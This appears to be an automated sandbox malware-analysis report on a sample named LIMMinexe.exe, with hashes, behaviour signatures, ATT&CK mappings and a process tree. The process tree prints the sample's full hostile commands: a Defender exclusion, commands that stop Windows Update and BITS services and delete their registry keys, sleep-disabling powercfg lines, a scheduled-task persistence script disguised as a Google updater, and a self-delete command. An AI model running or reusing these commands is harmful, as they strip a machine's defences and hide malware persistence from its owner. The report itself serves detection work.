d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce

Analysis

max time kernel
31s
max time network
34s
platform
windows7_x64
resource
win7-20230621-en
resource tags

arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
submitted
01-07-2023 07:12

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General

Target

LIMMinexe.exe
Size

3.6MB
MD5

d0525e69e54066d5b3764acefd16a754
SHA1

513304e7eca83acedad4655a135a6f4c2c1f4aed
SHA256

d700f47bdc52906c398c026b3ac69382fb012434f7a6967323ede937af1658ce
SHA512

b958797b913b1860daa2cdf4f6741835042e170fea4c4b5f3ae61432a9e24054dbcd40dbc4871d19b12d3f40d90523490caa37e6152d66850c05f18b7d738f03
SSDEEP

98304:vKNU8zvQiW+xPSCcgu3ebV6GDRjar2H2wKr3:avhWXrycG1jamKr3

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

LIMMinexe.exe

description	pid	Process	procid_target
PID 112 created 1320	112	LIMMinexe.exe	13
PID 112 created 1320	112	LIMMinexe.exe	13
PID 112 created 1320	112	LIMMinexe.exe	13
PID 112 created 1320	112	LIMMinexe.exe	13
PID 112 created 1320	112	LIMMinexe.exe	13

Drops file in Drivers directory 1 IoCs

Processes:

LIMMinexe.exe

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	LIMMinexe.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

Processes:

cmd.exe

pid	Process
428	cmd.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid	Process
1344	sc.exe
1044	sc.exe
1936	sc.exe
700	sc.exe
1420	sc.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exe

pid	Process
688	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

LIMMinexe.exepowershell.exepowershell.exe

pid	Process
112	LIMMinexe.exe
112	LIMMinexe.exe
1600	powershell.exe
112	LIMMinexe.exe
112	LIMMinexe.exe
112	LIMMinexe.exe
112	LIMMinexe.exe
112	LIMMinexe.exe
112	LIMMinexe.exe
952	powershell.exe
112	LIMMinexe.exe
112	LIMMinexe.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	Process
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeDebugPrivilege	952	powershell.exe
Token: SeShutdownPrivilege	1928	powercfg.exe
Token: SeShutdownPrivilege	1516	powercfg.exe
Token: SeShutdownPrivilege	1316	powercfg.exe
Token: SeShutdownPrivilege	1548	powercfg.exe

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

cmd.execmd.exepowershell.execmd.exe

description	pid	Process	procid_target
PID 1880 wrote to memory of 1420	1880	cmd.exe	36
PID 1880 wrote to memory of 1420	1880	cmd.exe	36
PID 1880 wrote to memory of 1420	1880	cmd.exe	36
PID 1880 wrote to memory of 1344	1880	cmd.exe	37
PID 1880 wrote to memory of 1344	1880	cmd.exe	37
PID 1880 wrote to memory of 1344	1880	cmd.exe	37
PID 1880 wrote to memory of 1044	1880	cmd.exe	38
PID 1880 wrote to memory of 1044	1880	cmd.exe	38
PID 1880 wrote to memory of 1044	1880	cmd.exe	38
PID 1880 wrote to memory of 1936	1880	cmd.exe	39
PID 1880 wrote to memory of 1936	1880	cmd.exe	39
PID 1880 wrote to memory of 1936	1880	cmd.exe	39
PID 1880 wrote to memory of 700	1880	cmd.exe	40
PID 1880 wrote to memory of 700	1880	cmd.exe	40
PID 1880 wrote to memory of 700	1880	cmd.exe	40
PID 1880 wrote to memory of 480	1880	cmd.exe	41
PID 1880 wrote to memory of 480	1880	cmd.exe	41
PID 1880 wrote to memory of 480	1880	cmd.exe	41
PID 1880 wrote to memory of 1968	1880	cmd.exe	42
PID 1880 wrote to memory of 1968	1880	cmd.exe	42
PID 1880 wrote to memory of 1968	1880	cmd.exe	42
PID 1880 wrote to memory of 1012	1880	cmd.exe	43
PID 1880 wrote to memory of 1012	1880	cmd.exe	43
PID 1880 wrote to memory of 1012	1880	cmd.exe	43
PID 1880 wrote to memory of 240	1880	cmd.exe	44
PID 1880 wrote to memory of 240	1880	cmd.exe	44
PID 1880 wrote to memory of 240	1880	cmd.exe	44
PID 1880 wrote to memory of 528	1880	cmd.exe	45
PID 1880 wrote to memory of 528	1880	cmd.exe	45
PID 1880 wrote to memory of 528	1880	cmd.exe	45
PID 280 wrote to memory of 1928	280	cmd.exe	46
PID 280 wrote to memory of 1928	280	cmd.exe	46
PID 280 wrote to memory of 1928	280	cmd.exe	46
PID 952 wrote to memory of 688	952	powershell.exe	47
PID 952 wrote to memory of 688	952	powershell.exe	47
PID 952 wrote to memory of 688	952	powershell.exe	47
PID 280 wrote to memory of 1516	280	cmd.exe	48
PID 280 wrote to memory of 1516	280	cmd.exe	48
PID 280 wrote to memory of 1516	280	cmd.exe	48
PID 280 wrote to memory of 1316	280	cmd.exe	49
PID 280 wrote to memory of 1316	280	cmd.exe	49
PID 280 wrote to memory of 1316	280	cmd.exe	49
PID 280 wrote to memory of 1548	280	cmd.exe	50
PID 280 wrote to memory of 1548	280	cmd.exe	50
PID 280 wrote to memory of 1548	280	cmd.exe	50
PID 428 wrote to memory of 292	428	cmd.exe	53
PID 428 wrote to memory of 292	428	cmd.exe	53
PID 428 wrote to memory of 292	428	cmd.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1320
- C:\Users\Admin\AppData\Local\Temp\LIMMinexe.exe
  "C:\Users\Admin\AppData\Local\Temp\LIMMinexe.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  PID:112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1880
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1420
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1344
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1044
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1936
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:700
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:480
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1968
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1012
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:240
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:528
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:280
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1928
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1316
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#uwjcnslmt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachineQC /tr 'C:\Users\Admin\Google\Chrome\updater.exe'
    3⤵
    - Creates scheduled task(s)
    PID:688
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\LIMMinexe.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:428
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:292

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4VSDDC93382EJQ94AYA8.temp

Filesize
7KB

MD5
24780bd2c4c2ee0ed68ecd309abbf7d1

SHA1
487431fb449b698a5932bd862fc19f04c927a59a

SHA256
36648787e282bb1f247f199bad92749566250bb5a1944e6a0af58da6f0da1247

SHA512
9818fa88bb2f4f530fa2799a9ce5eb1406283bbe10b06ff53bf293d980106e7ffd0815ee7b0ea2b96dee00fd278449b641f3a7ddbacbd913cff0835da85eb65d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
24780bd2c4c2ee0ed68ecd309abbf7d1

SHA1
487431fb449b698a5932bd862fc19f04c927a59a

SHA256
36648787e282bb1f247f199bad92749566250bb5a1944e6a0af58da6f0da1247

SHA512
9818fa88bb2f4f530fa2799a9ce5eb1406283bbe10b06ff53bf293d980106e7ffd0815ee7b0ea2b96dee00fd278449b641f3a7ddbacbd913cff0835da85eb65d

Download Submit
memory/112-77-0x000000013F750000-0x000000013FAEA000-memory.dmp

Filesize
3.6MB

Download
memory/952-71-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/952-70-0x000000001B170000-0x000000001B452000-memory.dmp

Filesize
2.9MB

Download
memory/952-72-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/952-73-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/952-74-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/952-75-0x000000000249B000-0x00000000024D2000-memory.dmp

Filesize
220KB

Download
memory/1600-61-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/1600-63-0x000000000249B000-0x00000000024D2000-memory.dmp

Filesize
220KB

Download
memory/1600-62-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/1600-60-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/1600-58-0x000000001B0D0000-0x000000001B3B2000-memory.dmp

Filesize
2.9MB

Download
memory/1600-59-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download